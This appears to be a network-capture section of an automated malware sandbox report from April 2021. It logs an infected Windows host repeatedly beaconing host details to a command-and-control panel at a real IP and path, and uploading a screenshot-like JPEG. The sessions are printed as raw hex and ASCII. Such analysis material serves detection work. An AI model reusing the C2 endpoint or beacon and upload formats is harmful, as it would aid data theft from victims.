,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:45.764600992 CEST	9898	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:45.764636040 CEST	9900	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:45.764900923 CEST	9903	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:23:45.764921904 CEST	9906	OUT	Data Raw: a7 dd cb 04 c9 f7 25 86 42 ac bc 63 82 39 1c 57 e8 df fc 10 d3 f6 8d ff 00 82 5e 78 43 4a f8 ab a5 7f c1 5a 7c 62 b2 c7 7d fd 88 3c 04 da ae 9d ad 5f 48 a1 7f b4 3e dd e5 c9 a7 46 ef 0f df b4 ce f2 bb b0 bb 73 b4 e3 f3 ec fc 30 f8 9a 3c 19 ff 00 Data Ascii: %Bc9W^xCJZ\|b}<_H>Fs0<7\|/"Kmck'[vFc ~PoY\|/]CPi&~EQ0]/CJ\'jN5}6~xjGY@_Isis9
Apr 28, 2021 23:23:45.765345097 CEST	9911	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:23:45.765674114 CEST	9914	OUT	Data Raw: 45 e1 5f 12 78 3f c4 17 fe 12 f1 6e 8f 79 a5 ea ba 5d e4 b6 9a 9e 99 a8 db 34 17 16 97 11 b9 49 21 96 37 01 a3 75 65 2a ca c0 10 41 04 02 2b 6a 35 e8 62 5b 54 a6 a5 6e ce e4 d5 a3 88 a0 93 a9 16 bd 51 47 f7 94 7e f1 aa 46 85 f1 fe 14 d1 1b 2f 53 Data Ascii: E_x?ny]4I!7ue*A+j5b[TnQG~F/Sf67,}q'($}}ijx,CrD,q,,8]RL\TQvb'mh>xO>EJYe5/gyu)FVpn>D;\W7C
Apr 28, 2021 23:23:45.765726089 CEST	9917	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:45.766185999 CEST	9919	OUT	Data Raw: 5e 63 fb 46 ff 00 c1 03 fe 04 7c 58 f1 cd f7 8e fe 13 fc 48 d4 3c 12 75 19 9a 6b 9d 19 34 f4 bb b3 49 1b 96 31 02 c8 d1 29 3c ed cb 01 93 b7 68 c0 0e f8 1f ff 00 04 12 fd 99 fe 16 5f 37 8a fe 2c f8 cb 56 f1 dc f6 d1 33 c1 a6 dc 42 b6 76 3b 80 e0 Data Ascii: ^cF\|XH<uk4I1)<h_7,V3Bv;hY\/>}IV'~\|>k}{?Vr'ok5T_xXv\|N.qzkMfN>1.+5/Tm>Tf
Apr 28, 2021 23:23:45.766434908 CEST	9922	OUT	Data Raw: da 54 2f 0e 41 ce 06 3f 9d 2a ce 2e 0a 16 6a df d3 3e ff 00 34 c6 61 e7 81 8e 06 51 94 25 46 dc bc c9 a6 d3 8a e6 e6 5d 1d f5 8f 96 87 d5 7f f0 40 ad 57 c3 91 7c 6e d0 34 9b 9f db 5f c4 1a 1e a5 2f 88 f5 66 b7 f8 1d 6f a5 6a 2f a7 78 85 3f b1 db Data Ascii: T/A?*.j>4aQ%F]@W\|n4_/foj/x?7pD/9da5um?/WxJX<! 2<M$3H#"\|vV[xzmGOohGHM5{u!!u0mo>7@~>mW
Apr 28, 2021 23:23:45.865128040 CEST	9944	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
515	192.168.2.5	50019	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:45.714284897 CEST	9895	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
516	176.111.174.114	80	192.168.2.5	50019	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:45.813817024 CEST	9922	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
517	192.168.2.5	50020	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:46.026932001 CEST	10067	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
518	176.111.174.114	80	192.168.2.5	50018	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:46.067802906 CEST	10068	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
519	176.111.174.114	80	192.168.2.5	50020	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:46.127455950 CEST	10068	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49739	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:31.652184963 CEST	1589	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
520	192.168.2.5	50022	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:46.343494892 CEST	10069	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
521	176.111.174.114	80	192.168.2.5	50022	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:46.446626902 CEST	10070	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
522	192.168.2.5	50023	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:46.653635025 CEST	10074	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
523	176.111.174.114	80	192.168.2.5	50023	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:46.752237082 CEST	10075	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
524	192.168.2.5	50025	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:46.963030100 CEST	10081	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
525	176.111.174.114	80	192.168.2.5	50025	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:47.060190916 CEST	10081	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:47 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
526	192.168.2.5	50026	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:47.263606071 CEST	10084	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
527	176.111.174.114	80	192.168.2.5	50026	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:47.364031076 CEST	10085	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:47 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
528	192.168.2.5	50028	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:47.585479975 CEST	10088	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
529	176.111.174.114	80	192.168.2.5	50028	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:47.684416056 CEST	10089	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:47 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	176.111.174.114	80	192.168.2.5	49739	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:31.759716988 CEST	1590	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
530	192.168.2.5	50029	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:47.899187088 CEST	10091	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
531	176.111.174.114	80	192.168.2.5	50029	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:47.999047041 CEST	10092	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:47 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
532	192.168.2.5	50030	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:48.204257011 CEST	10096	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
533	176.111.174.114	80	192.168.2.5	50030	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:48.304768085 CEST	10096	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
534	192.168.2.5	50031	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:48.511954069 CEST	10099	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
535	176.111.174.114	80	192.168.2.5	50031	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:48.610176086 CEST	10101	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
536	192.168.2.5	50032	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:48.701169014 CEST	10114	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 